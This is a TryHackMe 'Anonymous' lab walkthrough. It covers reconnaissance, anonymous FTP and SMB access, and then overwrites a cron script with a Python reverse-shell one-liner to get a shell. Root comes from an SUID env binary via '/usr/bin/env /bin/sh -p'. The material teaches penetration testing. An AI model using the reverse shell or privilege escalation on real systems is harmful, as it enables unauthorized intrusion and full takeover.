TRYHACKME: ANONYMOUS

Add IP to hosts:

```
# nano /etc/hosts
```

Recon:

Nmap:

```
# nmap -sC -sV -vv [MACHINE_IP] -T 4
```

Discovered Ports :139
443
22 – SSH
21 - FTP - Anonymous Login Allowed

OS : Linux

Port 139 and 445 have **smb** services running on them, let's check what **shares** seems interesting:

```
# smbclient -L [MACHINE_IP]:
```

Get list of shares on the machine and "pics" is the share we are interested in

```
# smbclient //[Machine_IP]/pics
        mget *
```

use **exiftool** on both the images:

```
# exiftool [Image_Name]
```

Found some kind of encoding on the "puppos.jpg"

```
# steghide extract -sf puppos.jpeg
```

But this requires a passphrase

Checking the **FTP** Anonymous login:

```
ftp anonymous@[MACHINE_IP]:
        ls - got a folder named scripts
        cd scripts
        ls - found 3 files - clean.sh, removed_files.log, to_do.txt
        get [all_files]
```

```
# cat to_do.txt
```

"I really need to disable the anonymous login...it's really not safe"

```
# cat clean.sh
```

We found a script that is running a cronjob, so we can modify that and try getting a reverse shell

Modifying the script, I used the following script by **pentest monkey**:

```
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[Machine_IP]",[PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

login to ftp again:

```
cd scripts
put clean.sh
```

Finally got a shell on the listener:

Let's make that a stable shell:

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
ls:
pics and user.txt
cat user.txt -------------- First Flag
```

The username is "namelessone"

Priv Esc:

I tried "sudo -l", it required the password so I tried finding the SUID files:

```
# find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
```

/usr/bin/env file got my eye and then I looked it up on "GTFObins.com"

GTFObin result on "env":

```
sudo install -m =xs $(which env) .
./env /bin/sh -p
```

Here, we'll use:

```
# /usr/bin/env /bin/sh -p
```

Finally in as root:

```
# cat /root/root.txt
```

Found the FINAL FLAG!